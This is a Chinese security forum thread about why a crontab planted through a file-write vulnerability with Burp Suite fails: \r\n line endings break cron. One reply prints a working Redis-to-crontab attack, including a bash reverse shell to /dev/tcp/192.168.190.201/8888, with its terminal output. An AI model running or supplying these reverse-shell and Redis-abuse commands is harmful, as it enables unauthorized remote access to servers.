记录burpsuite+cron的一个坑
发布于 2 年前 阅读权限 无需登录 作者 toph 2418 次浏览 来自 知识碎片

经常遇到写文件的漏洞,一般写ssh key或者crontab文件。说一下crontab的利用我遇到的一个坑。 发现成功写入文件,权限正常,写入的文件看起来也正常,但是就是弹不回shell。如果我用crontab -e编辑crontab文件,再保存以后,就成功了。 试了很久,后来用apt-get install rsyslog安装了rsyslog,查看日志/var/log/syslog,发现是这个错: image.png 使用cat -v /etc/crontab,看到其中有俩^Mimage.png 说明这里有特殊字符。 后来发现,原来因为我是用burpsuite发送的数据包(任意文件写入漏洞),burpsuite里换行是\r\n,但crontab里的换行是\n,如果加\r就导致出错,不能正确执行。

14 回复

windows 下换行是 \r\n linux 下换行是 \n 比较好奇在 linux 下用 burpsuite 发包换行会是啥

@0w0 我是mac发包的。可能是burpsuite里的回车就是\r\n。

赞一个。

经测试 windows 和 linux下使用burp手工输入的回车均是\r\n (未发现burp[ver 1.7.03]可以设置这个回车) 发包前 在hex的tab内可以改 \r \n –> 0d 0a \n –> 0a 比如选中 0d 右击 delete byte

cron的环境变量和绝对路径也要注意。

[root@server120 ~]# echo -e “\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1\n\n”|/usr/local/bin/redis-cli -h 127.0.0.1 -x set 1 OK [root@server120 ~]# /usr/local/bin/redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ OK [root@server120 ~]# /usr/local/bin/redis-cli -h 127.0.0.1 config set dbfilename root OK [root@server120 ~]# /usr/local/bin/redis-cli -h 127.0.0.1 save OK [root@server120 ~]# crontab -l REDIS0006þ󿾁@A

          • /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1

ÿ7¯¸U߆[root@server120 ~]# crontab -e crontab: installing new crontab [root@server120 ~]# crontab -l [root@server120 ~]# echo -e “\n\n* * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/8888 0>&1\n\n”|/usr/local/bin/redis-cli -h 127.0.0.1 -x set 1 OK [root@server120 ~]# /usr/local/bin/redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ OK [root@server120 ~]# /usr/local/bin/redis-cli -h 127.0.0.1 config set dbfilename root OK [root@server120 ~]# /usr/local/bin/redis-cli -h 127.0.0.1 save OK [root@server120 ~]# crontab -l REDIS0006þ󿾁t=

  • 󿾁in/bash -i >& /dev/tcp/10.󿾂/8 0>&1

ÿj½]=¾§[root@server120 ~]#

反弹IP写10.10.10.10时是乱的。

细节决定是否成功,感谢分享趟坑经验

这个和burpsuite在什么平台下无关,这个和Java有关,换行就是\r\n

细节决定是否成功,感谢分享趟坑经验

以前在windows下写linux shell脚本也遇到了这个坑,找了半天。

mark一下,以后发包前看一下hex

回到顶部